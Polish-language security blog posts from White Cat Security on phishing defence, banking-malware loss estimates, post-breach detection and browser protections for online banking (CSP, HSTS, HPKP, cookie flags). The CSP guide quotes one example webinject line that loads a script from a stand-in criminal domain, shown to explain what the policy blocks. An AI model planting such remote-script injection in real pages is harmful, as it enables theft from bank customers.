2015-09-24

Phishing: przestań przegrywać

Od lat, główny konsultant White Cat Security - Przemek Skowron, uświadamia, że skupienie się tylko na człowieku przy problemie phishingu to za mało.

Poniżej cytat z publicznej wypowiedzi, którą można znaleźć w Internecie.


"Tyle się mówi o świadomości, a ja ciągle zadaję to samo pytanie, które często zostaje bez odpowiedzi. Jak skutecznie podnosić świadomość i na niej się opierać, kiedy są osoby/działy, które muszą przyjmować maile, także z załącznikami/linkami, bo na tym polega ich praca - tak zostały zaprojektowane procesy biznesowe. Mowa tu zarówno o np. obsłudze klienta jak i partnerów biznesowych.


Dlaczego tak mało mówimy o rozwiązaniach technicznych, które ciągle są niewykorzystanym w 100% źródłem prewencji i detekcji. Zaczynając od SPF+DKIM=DMARC, przez podpisywanie korespondencji certyfikatami, wykrywanie złych załączników/URLi (nawet przez prostą weryfikację czy załączniki są wykonywalne - w większości przypadków pliki wykonywalne można wyciąć w pień, bo to nie jest standard), itp., itd.


Temat rzeka, choć nie mogę spokojnie usiedzieć kiedy skupiamy się tylko na świadomości i człowieku. OK, tak byliśmy, jesteśmy i będziemy atakowani - co nie oznacza, że mamy tak samo próbować z tym sobie radzić - przez edukację->podnoszenie świadomości, gdzie i tak przegrywamy."


Nie wszyscy zgadzają się z takim podejściem, większość opinii opowiada się za edukacją i na tym się (nie)stety kończy, natomiast brak (nie odnaleźliśmy) statystyk, które mówią, że to wystarczający sposób walki z tym problemem.


Właśnie ukazało się wprowadzenie do modelu obrony przed odmianą phishingu jaką jest spear phishing - nie zabieramy 
więcej czasu, zgadzamy się z nim i zapraszamy do zapoznania się z nim: "Introducing the Defensive Framework for Spear Phishing".

2015-08-14

Kradną 1 mld PLN rocznie?

W związku z ostatnim artykułem na portalu bankier.pl - "Ty kontra hakerzy. Jak łatwo dostaną się na twoje konto w banku?" oraz dodatkowo inną publikacją: "Hakerzy atakują banki. Straty nawet do 1 mld zł rocznie", White Cat Security poczuł się wywołany do tablicy.

Skąd wywołanie? - chodzi o rzekomy 1 mld zł rocznie. Na potrzeby tego artykułu przyjmujemy, że hipoteza mówiąca o stratach w sektorze finansowym w Polsce, sięgająca nawet 1 miliarda zł, użyta przez redaktora naczelnego miesięcznika "BANK", może być interpretacją opinii White Cat Security podczas ostatniej edycji Forum Bezpieczeństwa Bankowości. Pozwalamy sobie na takie założenie nie znając na ten moment innego źródła informacji mówiącej o "1 mld zł" - jeśli ktoś zna takie źródła, prosimy o kontakt mailowy lub komentarz pod postem.

Podczas prezentacji na Forum Bezpieczeństwa Bankowości została wskazana max. potencjalna strata wynikająca z działalności przestępczej, z użyciem złośliwego oprogramowania lub przejętych elementów infrastruktury sieciowej, w kwocie > 1 mld zł rocznie - przypadającej na cały sektor finansowy w kraju. Zaznaczamy, "max. POTENCJALNA strata" wraz z komentarzem, który mówił, że jeśli wpiszemy tutaj > 10 mld zł rocznie to prawdopodobnie się nie pomylimy ale już trudniej nam to udowodnić, a nie lubimy gdybać.

Nigdy nie mówiliśmy, że 1 mld zł to poziom strat sektora finansowego w Polsce. Jeśli ktoś bazuje na naszej opinii to prosimy by była ona interpretowana tylko tak jak powyżej, a w razie pytań/wątpliwości zapraszamy do kontaktu.

Jeśli bank, grupa banków lub sektor chce policzyć max. potencjalną stratę - czyli sytuację, w której 100% ataków kończy się sukcesem to... nie uda się tego zrobić. Poniżej przepis jak można się do tej liczby zbliżyć, choć nadal na 100% proszę nie liczyć.

Żeby wiedzieć jaka jest max. potencjalna strata bank musi posiadać informacje o:
  1. klientach, którzy korzystają z zarażonych stacji/laptopów/urządzeń mobilnych/urządzeń udostępniających internet (w sposób pośredni lub bezpośredni) lub których dane dostępowego do systemów transakcyjne zostały wykradzione,
  2. środkach finansowych klientów z punktu 1), liczone na bazie wszystkich produktów bankowych, z których można za pomocą systemu transakcyjnego wyprowadzić środki finansowe (rachunki ROR/oszczędnościowe, karty kredytowe oraz debetowe, lokaty, nie zapominając o produktach i środkach, do których dany klient może być upoważniony),
  3. limitach operacji/środków na produktach klientów z punktu 1) - za ich pomocą można zbudować zakres sumy środków jakie można wyprowadzić wraz z przewidywaniem min. czasu (np. ilości dni) jakie są potrzebne by wyprowadzić wszystkie środki.


Powyższa propozycja jest dość zaawansowana i wymaga sporej świadomości w banku lub firmie, która wspiera bank w tym, choć wg. White Cat Security powinna być ona standardem w przypadku efektywnego zarządzania tematem ataków na klientów sektora finansowego.

Trudny w realizacji punkt 1) może wynikać z braku narzędzi, źródeł informacji na początkowych poziomach dojrzałości procesów z tym związanych (pomagamy w tym temacie na każdym poziomie dojrzałości).

Możemy spróbować oprzeć się na danych publicznych, np. raportach CERT.PL lub CERT Orange Polska i odgadywać ilu klientów sektora finansowego jest właściwie zagrożonych atakiem.

Na chwilę zastanówmy się ile min. może to być klientów. Sumując w raporcie CERT.PL takie rodziny złośliwego oprogramowania jak: Dyre, GameOver, ZeuS i Tinba mamy ok 30 000 unikalnych adresów IP na dobę.

Zakładając, że mamy do czynienia z 30 000 unikalnych zarażonych urządzeń -> 30 000 klientów i każdy średnio ma na koncie 10 000 zł (upraszczamy opracowanie Pawła Golenia) to max. potencjalna strata wynosi 300 000 000 zł (300 mln zł) - z infekcji, które są aktywne jednego dnia i zakładamy, że mamy do czynienia z klientami indywidualnymi, a co z tzw. "złotymi strzałami", gdzie klient będzie miał setki tyś. zł i klientami biznesowymi (firmami)?

Żeby dodać wątpliwości, a właściwie to chcemy pokazać, że liczenie z obecnie dostępnych raportów to wróżenie z fusów poddajmy pod rozwagę następujące kwestie:
  • raporty w/w CERTów nie zawierają informacji jaka część botnetów jest przez nich skutecznie monitorowana, a jaka nie
  • raporty w/w nie wskazują kontekstu działania botnetów/rodzin złośliwego oprogramowania, na kogo i na co są nastawione oraz czy są to podmioty w Polsce
  • raporty nie zawierają informacji o wszystkich rodzinach złośliwego oprogramowania zbierającego żniwo z sektora finansowego


W takiej sytuacji dane z raportów można wg. nas, używać jako źródła inspiracji do poszukiwania właściwych informacji, z kontekstem pozwalającym na ich praktyczne, efektywne zastosowanie.

2015-07-16

Mobile & Internet Banking Security 2015: zaproszenie

Już w sierpniu zapraszamy na konferencję Mobile & Internet Banking Security 2015, gdzie będziemy mieli po raz kolejny spotkać się i porozmawiać w kuluarach m.in. o prezentacji pt. "Wskaźniki kompromitacji, czyli jak nie przegrać wojny, przegrywając bitwę". Dlaczego warto? - Bo która firma, do której pracowników wysłano maile z podejrzanym linkiem/załącznikiem nie została skutecznie zainfekowana? - ani razu? White Cat Security mówi o zagrożeniach głośno i wyraźnie, a najchętniej co z tym zrobić.

Przy okazji odświeżona została Oferta White Cat Security - zapraszamy do zapoznania się z nią i szczególnie polecamy nowe usługi związane z ćwiczeniem obsługi incydentów bezpieczeństwa - nawet jeśli jeszcze taki incydent nie wystąpił, szkoda być na niego nieprzygotowanym. Firma jest przygotowana? - sprawdźmy to w sposób niezależny od osób, które przygotowywały firmę na taką sytuację.

2015-06-09

"Skuteczny" atak na bank: co teraz?

Jeśli jeszcze nie czytałaś/czytałeś artykułu "Poważne włamanie do polskiego banku, skradzione dane i hasła klientów" (by Z3S) to na wstępie zapraszam do niego.

Nie będę skupiał się na tym jaki to bank, czy atak był skuteczny czy nie, a wszelkie próby spekulacji w komentarzach nie przejdą moderacji.

Aktualizacja: W związku z tym, że portale, w tym Z3S podały więcej informacji i wiadomo o który bank chodzi, przestaję ukrywać jego nazwę. O prawdziwym zasięgu ataku i skutkach nie będę spekulował.

Poniżej lista działań, które mogą pozwolić wykryć/utrudnić taki atak - celowo unikam stwierdzenia "uniemożliwić". UWAGA: lista nie jest kompletna (nie obejmuje wszystkich faz ataków, w których można zidentyfikować próbę ataku lub kolejne cele, które napastnik osiąga), działania powinny być szyte na miarę danej organizacji.


  • monitoring rejestracji domen podobnych do używanych przez nas:
  • monitoring integralności serwisów WWW udostępnianych w Internecie:
    • symulując pobranie strony i porównanie do prawidłowego wzorca
    • stosując mechanizmy sprawdzania integralności po stronie serwera
    • stosując mechanizmy pozwalające monitorować operacje typu "write" w miejscach, z których można modyfikować serwis WWW - zarówno z poziomu narzędzi do zarządzania nim jak i użytkowników systemowych, którzy mają takie uprawnienia lub mogą je zdobyć
    • stosując CSP [o którym pisałem przy okazji identyfikacji złośliwego oprogramowania])
  • testy bezpieczeństwa krytycznych mechanizmów bezpieczeństwa jak metody autoryzacji dla transakcji finansowych oraz identyfikacja innych, które powinny być takimi mechanizmami objęte, a nie zawsze są


Kluczowy moim zdaniem jest punkt 2 i 3, a 1 naturalnym wkładem do działań wywiadowczych.

Może wydawać się oczywiste, że proponowane działania pozwalają wykryć atak, ale jak mogą go utrudnić? - kluczowy jest tu parametr "czasu wykrycia". Jeśli skrócimy go do okresu czasu, w którym atakujący nie osiągnie bolesnego dla nas celu (czyt. skutków) to właśnie utrudniliśmy, a nawet uniemożliwiliśmy skuteczność ataku - pod warunkiem, że zareagujemy na wykrycie napastnika.

Nie powinno być tak, że przełamanie jednego mechanizmu bezpieczeństwa, przejście pierwszego/drugiego czy piątego etapu drogi do celu pozwala napastnikowi być niezauważonym - zostawia po sobie ślady, które nawet jeśli będzie zacierał to i one mają swój czas życia, w którym trzeba je dostrzec.

Serdecznie (powtarzając jak mantrę), polecam stosowanie metodyki Kill Chain [pdf] do rozkładania takich scenariuszy na czynniki pierwsze, planowanie, a jeśli już zaimplementowaliśmy - testowanie, działań, które mają pozwolić na utrudnienie i identyfikację ataków.

Warto zrobić to już teraz, nie czekając na (skuteczny) atak skierowany na nas. Bądźmy aktywni!

2015-06-01

Szkolenia White Cat Security: 2015

Zaufana Trzecia Strona opisała powody, dla których warto zainwestować w wiedzę o defensywie.
Kilka dodatkowych słów ode mnie - autora i prowadzącego szkolenia.
Dlaczego warto? - By kolejny phishing z podszyciem się pod DHL, Pocztę Polską czy inny popularny brand nie kończył się sukcesem tak często - bo w Polsce brakuje miejsc, w których można nauczyć się skuteczniejszej walki z tym. Nie mówię o użytkownikach końcowych, firmy świadczące im usługi mogą skuteczniej ich chronić nawet jeśli popełniają błędy lub dają się nabrać na socjotechniczny atak, wystarczy kilka kroków zaczynając od edukacji w firmach, nie skupiając się głównie na klientach.
Dostrzegacie, że po skutecznym ataku pochodzącym z Internetu często firmy tłumaczą się błędem ludzkim? Że jak weźmiemy na tapetę kilka ataków to mają one wiele cech wspólnych, od lat(!), a nadal takie ataki kończą się (czasem) sukcesem? Jeśli nie to moim zadaniem jest pokazać te cechy, a dokładnie rzecz ujmując, zbudować/poprawić zmysł analityczny pozwalający dostrzegać takie cechy by móc się im skuteczniej przeciwstawić niż tłumacząc się, że ponownie zawiódł człowiek.
Firmy które świadczą usługi w kanał elektronicznych czy instytucje przetwarzające wrażliwe dane nie miały do tej pory łatwego i dostępnego dla nich (finansowo) sposobu nabywania tej wiedzy (w Europie takie szkolenia kosztują ok. 6-10x więcej i najczęściej są poza budżetami firm w Polsce). Popularyzowane szkolenie z Zaawansowanego Monitoringu i Obsługi Incydentów Bezpieczeństwa nie jest dedykowane konkretnemu sektorowi (takie rzeczy w ramach szkoleń zamkniętych) dlatego zapraszam przedstawicieli wszystkich sektorów, które chcą aktywniej bronić swój biznes lub Klientów!
Wkrótce aktualizacja (wzbogacenie!) drugiego szkolenia z Monitoringu Bezpieczeństwa Sieci, które ma budować solidne fundamenty w drodze do poziomu Zaawansowanego.
Pełna oferta usług White Cat Security znajduje się tutaj.

2015-05-28

Seria artykułów na Sekuraku

Chcąc budować oraz łączyć społeczność defensywnych bezpieczników (jest w Polsce jeszcze bardzo mała i stosunkowo zamknięta - poza kilkoma konferencjami i nielicznymi wyjątkami [kiedyś ich ujawnię] raczej każdy trzyma się swojego wew. podwórka), postanowiłem rozpocząć serię artykułów dla obecnych i przyszłych "obrońców".

A wszystko to zaczyna się na portalu Sekurak - miłego czytania i proszę, zostawiajcie w komentarzach (tu, tam) czy w mailach, tematy, które chcielibyście abym poruszył - nie ma tematów tabu.

2015-05-27

CONFidence 2015: Podsumowanie

White Cat Security nastawione jest na realne, efektywne podnoszenie poziomu bezpieczeństwa przez skuteczniejszą obronę mimo tego, że firma, jej pracownicy lub klienci byli, są i będą atakowani - dlatego z takiej perspektywy podsumowujemy świeżo zakończoną, X edycję CONFidence.

5 prezentacji skupionych na defensywie, ponad 20 na ofensywie (w tym jedna, która definitywnie zasługuje na wyróżnienie: "APT x 3 - trzy firmy, trzy wektory ataków, trzy do zera - wybrane studium przypadków" za promocję defensywnych praktyk! wielka piątka Borys!) - lepiej niż w poprzednich latach.

Prezentacja "Analiza przypadku: Carbanak - jak uniknąć powtórki." wypełniła całą salę, mimo tego, że zamykała merytoryczny blok drugiego dnia konferencji - serdecznie dziękuję! Mimo tego, że na sali nadal zdecydowana większość to przedstawiciele "red teamów", wasze zainteresowanie obroną cieszy niezmiernie, dlatego będziemy kontynuować serie prezentacji o defensywie, nie powtarzając wcześniej przedstawionego materiału (chyba, że zostaniemy o to wprost poproszeni).

Gorąco namawiamy wszystkich zainteresowanych do zrobienia "zadania domowego", które zostało przedstawione podczas prezentacji - macie w rękach wędkę, jesteście krok bliżej by skuteczniej powstrzymywać skuteczne ataki i minimalizować straty.

Slajdy zostaną udostępnione na stronie konferencji, jeśli ktoś nie może się ich doczekać, standardowo zapraszamy na kontakt {@} whitecatsec.com.

PS
Na dniach ukaże się nasz artykuł na portalu sekurak.pl - oczywiście o defensywie. Zapraszamy do komentowania, ponieważ jest to pierwsza część serii, a kolejne zagadnienia będą wybierane na bazie komentarzy. Pokazujemy defensywę od kuchni, jaka jest naprawdę, z czym się wiąże, jak podejść by się nie z(a)razić.

2015-05-22

2015-05-13

Bezpieczniejsza bankowość w 5 krokach: przeglądarki

*** Poradnik kierowany jest do banków by mogły skutecznie(j) chronić swoich klientów nie wymagając od nas (klientów) dodatkowych programów/urządzeń ***

Wprowadzenie

O zagrożeniach dotyczących bezpieczeństwa użytkowników bankowości elektronicznej mówi się od lat. Problem ten zwiększa swoją skalę nie tylko w Polsce, ale i na całym świecie. Eksperci ds. bezpieczeństwa najczęściej proponują rozwiązania, które:
1) nie istnieją (np. idealny mechanizm 2FA - idealny: powszechnie dostępny, tani, wygodny i bezpieczny),
2) dają ograniczone korzyści bez skutecznie działającego programu wymiany informacji czy też wywiadu dotyczącego zagrożeń (ang. threat intelligence) - np. systemy FDS (ang. Fraud Detection System) działające w oparciu o blacklisty (zaryzykuję stwierdzenie, że większość wdrożeń systemów a'la FDS kończy się na tym poziomie zaawansowania - dzisiaj to już za mało),
3) wymagają zmiany sposobu korzystania z bankowości elektronicznej przez użytkownika lub dodatkowego instalowania urządzeń/oprogramowania, innymi słowy mówiąc, nie są dla niego przeźroczyste i nie podążają za nim, a swoją istotą wprowadzają nowe ograniczenia w zakresie swobody korzystania z bankowości, do której przyzwyczajeni są użytkownicy.

Rozwiązania posiadające w/w cechy (pojedyncze lub ich mix) wymagają inwestycji, czasu i są złożone (rozwiązania z cechą nr. 1 nie mają ani wad ani zalet, lecz nie powoduje, że bankowość jest bezpieczniejsza). Nie oznacza to, że należy je wszystkie porzucić i nie realizować.

W praktyce ludzi zajmujących się obroną i interweniujących ponieważ dzieje się źle nie istnieją takie zwroty jak: "za pół roku", "to jest trudne", "nic nie da się zrobić". Naszym celem jest ugaszenie lub przygaszenie pożaru do stanu, w którym można pracować nad długoterminowymi rozwiązaniami.

Dlatego pytanie co zrobić "tu i teraz"? Jak złapać kilka oddechów by z mniejszą presją pracować nad rozwiązaniami długofalowymi?

Przedstawione poniżej koncepcje, również posiadają wady/zalety, ograniczenia, natomiast zamiast mydlić oczy tylko zaletami, spróbujemy przybliżyć je w sposób jak najbardziej obiektywny, by każdy  świadomie mógł podjąć decyzję czy chce z nich skorzystać.

Do użycia tych koncepcji wystarczy, że  użytkownik aplikacji webowej będzie posiadał przeglądarkę, która wspiera daną koncepcję (czytajcie z uwagą rozdziały MIARA SUKCESU) oraz możliwość ustawiania nagłówków HTTP przez infrastrukturę lub samą aplikację webową - bułka z masłem, prawda?

Zasady opisu propozycji.

Każdą propozycję będziemy oceniać z użyciem takich cech jak:
1) Jakie zagrożenia w ten sposób pokryjemy (ZAGROŻENIA)
2) Jak zmierzyć potencjalny sukces wdrożenia propozycji (MIARA SUKCESU)
3) W jakich warunkach koncepcja przestanie działać skutecznie (OGRANICZENIA)


CSP

Mechanizm Content-Security-Policy znany jest od lat i najczęściej przedstawiany jako narzędzie do ochrony przed XSS'ami - pozwala na dość precyzyjne wskazanie jakiego rodzaju obiekty i skąd mogą być załączane do kodu HTML naszej strony (czyt. będą interpretowane przez przeglądarkę). Bardzo często pokazywane są przykłady jak go nie używać, czyli np. nie należy dopuszczać do konstrukcji polityki pozwalającej na unsafe-inline, unsafe-eval, które pozwolą na wykonanie kodu np. Javascript umieszczonego jako fragment strony, czy w tagu <script>. Problematyczne jest to, że zazwyczaj aplikacje webowe, w tym bankowość elektroniczna, nie jest napisana w taki sposób by pozwolić sobie na nie korzystanie z takiej, piętnowanej konstrukcji polityki. Czy z tego powodu należy sobie odpuścić CSP? - niekoniecznie.

ZAGROŻENIA: Całkiem możliwe, że "Perfekcyjny" ekspert ds. bezpieczeństwa będzie niepocieszony, że korzystamy z polityki CSP z użyciem unsafe-inline/unsafe-eval, które są jednym z głównych powodów obniżania wartości/sensu korzystania z CSP, a w konsekwencji może i porzucania tego pomysłu, natomiast i taka polityka będzie działać na naszą korzyść w walce ze złośliwym oprogramowaniem. Bankery, które korzystają z techniki webinjectowania, czyli modyfikacji kodu HTML, bardzo często załączają kod HTML/JS z kontrolowanych przez przestępców serwerów, które są poza domeną chronionego przez nas serwisu bankowości elektronicznej (tudzież innego serwisu, który chronimy).

Przykładowo, załączają taki kod HTML:

<script src="https://serwer.zlych.ru/zlicz_srodki_finansowe_klienta.js"></script>

Polityka CSP, która będzie posiadać zawężoną listę domen, z których mogą być ładowane obiekty (whitelista) oraz "niechlubne" unsafe-inline/unsafe-eval powinna zablokować przeprowadzenie całego ataku - strona bankowości z perspektywy jej użytkownika będzie zmodyfikowana, natomiast nie będzie w pełni działać zgodnie z założeniami napastnika - zwyciężyliśmy!

MIARA SUKCESU: Żeby zmierzyć potencjalny sukces wdrożenia należy zadać sobie pytanie, jaka część moich użytkowników korzysta z przeglądarek, które wspierają CSP? (te, które nie wspierają zignorują CSP). Można to policzyć na kilka sposobów. Proponujemy dwa: 1) w oparciu o dane statystyczne używanych przeglądarek na stronie głównej organizacji (będziemy mieć tam ruch klientów i potencjalnych klientów) oraz na stronie samej bankowości elektronicznej (przede wszystkim klienci). 2) w oparciu o dane statystyczne użytkowników z państw, w których nasz biznes funkcjonuje (czasem mogą być to dane z więcej niż jednego kraju).

OGRANICZENIA: Obrona będzie funkcjonować pod warunkiem, że złośliwy kod spoza naszej domeny nie będzie załadowany z domeny, którą dopuściliśmy w polityce CSP lub webinject nie będzie załączał kodu z innej domeny (czyt. będzie w całości w treści strony, bez odwołań do zew. serwerów).

BONUS: za pomocą dyrektywy "default src https" możemy wymusić by przeglądarka załadowała i użyła tylko zasobów dostępnych po https, czyli w kanale szyfrowanym.
BONUS#2: CSP posiada wbudowany mechanizm raportowania nadużyć polityki CSP, co pozwala nam budować wywiad i aktywnie reagować.
BONUS#3: jeśli masz pomysł na wykorzystanie raportów z prób nadużyć polityki CSP, ale jeszcze nie chcesz aktywować ochrony w przeglądarce, możesz to osiągnąć za pomocą trybu report-only, bez jakichkolwiek konsekwencji dla użytkowników.

HSTS

Mechanizm HTTP Strict Transport Security ma za zadanie przekonać naszą przeglądarkę, by zawsze komunikowała się z naszą domeną (i subdomenami - jeśli tak wskażemy) z użyciem protokołu https, czyli zawsze w kanale szyfrowanym.

ZAGROŻENIA: Jeśli przestępcy nie zdecydowali się wyłącznie na webinjectowanie (modyfikowanie w locie kodu HTML) to jednym z wykorzystywanych wektorów ataków jest zamiana połączenia https na http lub przekierowanie na serwis w subdomenie (np. zamiast https://bank.pl przekierowują na http://ssl-.bank.pl, ewentualnie https://ssl-.bank.pl). Ponieważ połączenie nie jest już szyfrowane lub szyfrowane jest z użyciem podstawionego certyfikatu (najczęściej jest to tzw. "self-signed" certyfikat), nad którym przestępcy mają pełną kontrolę, prawdopodobnie łatwiej jest im wtedy manipulować kodem HTML czy wręcz wstawiać w całości swoją wersję serwisu serwowanego użytkownikowi bankowości. HSTS w zależności od użytej opcji (czy włączyliśmy subdomeny i jak go skonfigurowaliśmy) będzie wymuszał na przeglądarce by połączenie do bank.pl lub *.bank.pl były zawsze z użyciem protokołu https, a jeśli ktoś użyje certyfikatu spoza listy tych zaufanych (np. wspomniany "self-signed") to wyświetli ostrzeżenie i zabroni skutecznego nawiązania połączenia - ponownie wygrywamy!

MIARA SUKCESU: Sukces HSTS podobnie jak CSP zależy od wsparcia po stronie przeglądarek dla tego mechanizmu. Proponujemy mierzyć potencjalny sukces analogicznie jak w przypadku CSP.

OGRANICZENIA: Obrona będzie działać o ile zdążymy z pierwszym wysłaniem nagłówka HSTS zanim napastnicy przeprowadzą atak - dlatego nie czekaj, działaj. Istnieją opisy innych słabości HSTS, natomiast wymagają one znacznie większego przyłożenia się do ataków przez napastników, o których mowa.

BONUS: jeśli użyjemy HSTS w pełnym trybie (z uwzględnieniem subdomen) to możemy zgłosić ten fakt do firmy Google by HSTS w przeglądarce Chrome był wymuszany nie na podstawie nagłówka HTTP tylko konfiguracji przeglądarki (tzw. preload HSTS).

HPKP

Mechanizm Public Key Pinning dla protokołu HTTP ma na celu wskazanie przeglądarce jakim konkretnie certyfikatem powinien przedstawić się serwer, do którego się łączymy.

ZAGROŻENIA: Atak z wykorzystaniem poprawnego (zaufanego dla przeglądarek) certyfikatu SSL jest bardzo rzadko spotykany, ale jednak możliwy w przypadku kompromitacji jednego z zaufanych urzędów wydających certyfikaty. Mechanizm HPKP zmniejsza szansę powodzenia takiego ataku gdyż wymusza na przeglądarce weryfikację certyfikatu SSL i porównanie go do tego, który został zdefiniowany - jeśli nie trzeci gol to na pewno asysta!

MIARA SUKCESU: Analogicznie jak dla HSTS i CSP, z tym, że jest to jeden z najnowszych dobrodziejstw protokołu HTTP i jest jeszcze szeroko wspierany - aktualnie jest to Chrome od wersji 38 w górę i Firefox od wersji 35.

OGRANICZENIA: Analogiczne do HSTS.

BONUS: HPKP może być użyty również tylko w trybie raportowania analogicznie jak CSP - jeśli jeszcze nie jesteś pewny czy chcesz go używać do obrony w przeglądarce to możesz spróbować czerpać wiedzę o nadużyciach bez ich blokowania.

Secure i HttpOnly

Oba wspomniane słowa kluczowe to atrybuty ciasteczek (ang. Cookies), Secure powoduje, że ciasteczko może być przesłane tylko w kanale szyfrowanym (https), a HttpOnly utrudnia dostęp do ciasteczka skryptom JS.

ZAGROŻENIA: zalogować się do bankowości elektronicznej można zazwyczaj za pomocą identyfikatora i hasła (maski lub innego wariantu hasła), a sesja jest podtrzymywana (w większości przypadków) za pomocą ciastka sesyjnego, które jest odpowiedzialne za wskazanie naszej tożsamości. Jeśli ciastko sesyjne nie jest wystarczająco mocno związane z np. odciskiem przeglądarki lub adresem IP to w przypadku jego kradzieży, napastnik może uzyskać dostęp do bankowości elektronicznej bez konieczności wykradania loginu i hasła. W ramach przejętej sesji może zmodyfikować parametry bankowości elektronicznej lub nawet części transakcyjnej (np. przelewy oczekujące na autoryzację, szablony płatności, itp. w zależności od tego co wymaga autoryzacji za pomocą kodu SMS lub klucza w innej postaci). Atak nie powoduje natychmiastowej utraty środków finansowych (chyba, że bez dodatkowej autoryzacji jest to możliwe lub inny mechanizm go nie powstrzyma), ale przybliża do takiego skutku. Jeśli możemy utrudnić przejęcie ciastek np. w trakcie ataku zamieniającego połączenie https na http i wtedy podsłuchanie ich - dlaczego nie ustawić im poprzeczki wyżej?

MIARA SUKCESU: Secure i HttpOnly są wspierane od mniej więcej czasów przeglądarki IE 6, można spróbować mierzyć potencjalny sukces jak w przypadku CSP, HSTS czy HPKP.

OGRANICZENIA: jeśli przy każdym nagłówku ustawiającym ciasteczko (Set-Cookie) będziemy pamiętać o jego atrybutach, wszystko powinno działać zgodnie z przewidywaniami. Problem może się pojawić jeżeli nasz serwis sięga do wymienionych ciasteczek z poziomu JS lub w kanale nieszyfrowanym... - wtedy implementacja tych atrybutów w sposób łatwy i bardzo szybki jest utrudniona.


Podsumowanie

Przedstawione propozycje należą do grupy rozwiązań "krótkoterminowych", ale bez daty ważności. Datę ważności określą przestępcy kiedy zaczną w sposób aktywny przełamywać tą linię obrony lub przesuną się w miejsce, gdzie jej nie ma. Po implementacji tych mechanizmów zmieni się nieco optyka, to teraz my będzie na "krok" przed przestępcami. To im zmienimy warunki gry i muszą się dostosować do nas jeśli nadal chcą być skuteczni. Czy nie warto strzelić im te kilka bramek, szczególnie, że to dość proste?

Na rynku nie widać rozwiązań (technicznych i organizacyjnych) pozwalających na 100% ustrzec się przed infekcją bankerem lub nawet przypadkowego/nieświadomego użycia przejętego urządzenia sieciowego - dlatego zalecamy aktywną obronę, najlepiej w formie nie wpływającej na sposób użycia/dostępu do bankowości elektronicznej.

Wymienione metody nie rozwiązują 100% problemów bezpieczeństwa bankowości elektronicznej i ich klientów. Zło nadal się czai, a urządzenia nadal są zainfekowane. Nie wyłączyliśmy w ten sposób botnetu, ale w dużej mierze ograniczyliśmy jego funkcjonalność w zakresie opisanym w rozdziałach "ZAGROŻENIA", biorąc pod uwagę "OGRANICZENIA" tych metod. Dodatkowo zyskujemy czas by jednostki zajmujące się "rozbrajaniem" botnetów mogły wykonać swoją pracę.

Czy taki sposób działania może być skuteczny? - może być tak skuteczny lub skuteczniejszy od dużo droższych (zakupowych) rozwiązań, a finalnie zależeć będzie od metod ataków jakie wykorzystują przestępcy atakując klientów danej marki (czyt. banku). Idealne rozwiązania z dożywotnią gwarancją nie istnieją i warto o tym pamiętać. Metody te nie zapewniają zgodności z normami, certyfikatami i nie dają też "wiecznego" spokoju - jeśli znasz takie rozwiązania to zapraszamy do dyskusji/testów (otwartej lub zamkniętej). Idealnej recepty nie ma w żadnym cenniku, za to wymienione metody będą działały u zdecydowanej większości klientów banków w Polsce - wystarczy je wdrożyć, nie wymagają zakupów.

Rozwiązania te nie są "zarezerwowane" tylko dla systemów bankowości elektronicznej. Jeśli Twoi klienci borykają się podobnymi/analogicznymi problemami - artykuł ma zastosowanie również dla Ciebie. Przykładem pro aktywnej ochrony marki spoza sektora finansowego jest np. Google, na czele z GMailem.

Powyższy materiał jest fragmentem szkolenia dedykowanego dla organizacji z sektora finansowego/ubezpieczeniowego/e-commerce/itp., które chcą aktywnie bronić swoich klientów, a nie tylko własną infrastrukturę - szczegóły zostaną opublikowane wkrótce, a bliżej zainteresowanych już dzisiaj, zapraszamy do kontaktu (kontakt {@} whitecatsec.com - [bez klamr - "{}"])

2015-05-11

Aktywna obrona: wywiad na temat zagrożeń

W zachodniej części Europy czy USA o aktywnej obronie jako sposobie konsumpcji wywiadu na temat zagrożeń (ang. threat intelligence) mówi się dość otwarcie, widać doświadczenie. W Polsce z sukcesami w większości chowamy się po kątach lub przejście na ten etap dojrzałości nie ma miejsca. Sam niejednokrotnie przekonałem się jak wygląda obrona organizacji, która broni się aktywnie, a jak kiedy jest pasywna. Jeśli Twoja firma/organizacja jest gotowa na ten krok lub chce zrozumieć o co w tym naprawdę chodzi, polecam następującą lekturę (wynik współpracy MWR, CERT.UK i CPNI) lub kontakt ze mną (kontakt {@} whitecatsec.com) - inspirujących chwil!

2015-05-07

Ruch Eurobanku: spektrum zagrożeń

Eurobank jako pierwszy bank w Polsce zaproponował swoim klientom rozwiązanie Trusteer Rapport - ruch ten nie pozostał niezauważony (Rzeczpospolita, Maciej Samcik, AleBank, TokFM).

Spróbujmy popatrzeć na większy kawałek obrazka.

Do najpopularniejszych wektorów ataków na klientów instytucji finansowych można zaliczyć:
1) podmiana/modyfikacja kodu HTML/JS w systemie bankowości elektronicznej lub CMS (w tym także zamieszczanie dodatkowych skryptów z innych domen)
2) przekierowanie na fałszywą stronę systemu bankowości elektronicznej (przekierowanie może się odbyć np. przez modyfikację kodu HTML jak w 1) lub np. przez modyfikację wpisów dotyczących konfiguracji DNS i wskazanie innego adresu IP bankowości elektronicznej niż jest w rzeczywistości)
3) podmiana numeru rachunku w tzw. "schowku", jeśli kopiujemy numer rachunku i chcemy go wkleić do pola "nr. rachunku" w formularzu przelewu
4) podmiana numer rachunku w pamięci procesu

Problem przejmowania urządzeń mobilnych - smartfonów, aby wykradać kody SMS do autoryzacji wymagających tego operacji na potrzeby tej analizy zaniedbujemy, gdyż ten wektor nie należy do najpopularniejszych w Polsce. Sam phishing i fałszywe strony, na których przestępcy zbierają najczęściej login, hasło oraz czasem kody autoryzacyjne również nie są umieszczone na liście.

Pytania, które warto sobie zadać będąc na miejscu Eurobanku:
1) przed którymi wektorami Trusteer Rapport uratuje klientów, którzy go zainstalują?
2) czy sytuacja, w której zaatakowany jest punkt dostępowy do sieci Internet (podmiana serwerów DNS lub zdefiniowanie adresów IP dla konkretnych nazw) to rozwiązanie nadal będzie skuteczne?
3) co z urządzeniami mobilnym, na których korzystamy z systemów bankowości elektronicznej w wersji klasycznej, light (tzw. "lekkiej"/mobilnej) lub natywnej?
4) co z korzystaniem z bankowości elektronicznej poza komputerem, na którym klient zainstalował Trusteer Rapport?

Pytań należy zadać jeszcze wiele i wierzymy, że zostało to w Eurobanku zrobione lub temat jest w trakcie analizy. Ruch Eurobanku na pewno coś zmieni w sektorze finansowym w Polsce - czas pokaże co. Życzymy jak najlepiej!

AKTUALIZACJA (08.05.2015)

Skontaktował się z nami Eurobank (brawa za chęć dialogu!), poniżej oryginalna treść odpowiedzi na pytania, które pojawiły się na naszym blogu:

